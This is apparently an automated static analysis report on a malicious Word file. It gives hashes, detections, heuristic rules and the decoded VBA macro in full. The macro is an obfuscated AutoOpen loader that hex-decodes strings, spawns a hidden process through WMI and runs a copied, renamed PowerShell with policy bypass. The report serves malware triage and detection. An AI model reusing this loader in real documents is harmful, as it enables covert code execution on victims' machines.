Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 092119efcdfb6ce6…

MALICIOUS

Office (OOXML)

16.4 KB Created: 2021-03-22 17:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: c07c84e9e5f81d7f137525a834745500 SHA-1: 39c57b2b36e40457b6ec715896bf47ecb991472d SHA-256: 092119efcdfb6ce67a1a12c4ac30c9f887050d4f096ee05f2baa4d6af146756c
300 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set ovqjrcuyrrtqftvenux = CreateObject(jmslxlziafce("5762656d53637269") & jmslxlziafce("7074696e672e535762656d4c6f6361746f72"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ovqjrcuyrrtqftvenux = CreateObject(jmslxlziafce("5762656d53637269") & jmslxlziafce("7074696e672e535762656d4c6f6361746f72"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    temppath = Environ("tmp") + "\zubizuru.exe"
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1904 bytes
SHA-256: 24a642b7d00f0ed9791760523cd518cd6c53839929d99cfdc70fe5d850b90404
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Set ovqjrcuyrrtqftvenux = CreateObject(jmslxlziafce("5762656d53637269") & jmslxlziafce("7074696e672e535762656d4c6f6361746f72"))
Set uzdlvclcojbiwxt = ovqjrcuyrrtqftvenux.ConnectServer()
uzdlvclcojbiwxt.Security_.ImpersonationLevel = 3
Set wnxvqcuaqefnhzqzfexn = uzdlvclcojbiwxt.Get(jmslxlziafce("57696e33325f50726f63657373") & jmslxlziafce("53746172747570"))
Set qdzpbcyxfzbvqx = wnxvqcuaqefnhzqzfexn.SpawnInstance_
qdzpbcyxfzbvqx.ShowWindow = 0
Set ielsoqqeymdxhk = uzdlvclcojbiwxt.Get(jmslxlziafce("57696e33325f50") & jmslxlziafce("726f63657373"))
temppath = Environ("tmp") + "\zubizuru.exe"
RunPath = temppath + jmslxlziafce("202d657865637520625970202d57694e642048696464654e202d63202470726f66696c65203d2024656e763a74656d702b275c7a7572756261") & jmslxlziafce("74657374696e67273b204e65772d4974656d202d50617468202470726f66696c65202d4974656d54797065202766696c6527202d466f726365")
Dim pshellPath
pshellPath = jmslxlziafce("433a") & jmslxlziafce("5c5c57696e646f77735c5c53797374656d33325c5c57696e646f7773506f7765725368656c6c5c5c76312e305c5c706f7765727368656c6c2e657865")
Dim fso: Set drzstftlfx = CreateObject(jmslxlziafce("536372697074696e672e46696c6553797374") & jmslxlziafce("656d4f626a656374"))
drzstftlfx.CopyFile pshellPath, temppath
errReturn = ielsoqqeymdxhk.Create(RunPath, Null, qdzpbcyxfzbvqx, ProcessID)
End Sub
Private Function jmslxlziafce(ByVal qohmowrpzgeq As String) As String
Dim ofbqzbrdewpd As Long
For ofbqzbrdewpd = 1 To Len(qohmowrpzgeq) Step 2
jmslxlziafce = jmslxlziafce & Chr$(Val("&H" & Mid$(qohmowrpzgeq, ofbqzbrdewpd, 2)))
Next ofbqzbrdewpd
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 4586bb9a7d33e33ee14f67fc4f20895012eb6c07d14a55af129a4a31326e000c
Detection
ClamAV: Doc.Malware.Valyria-6923224-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).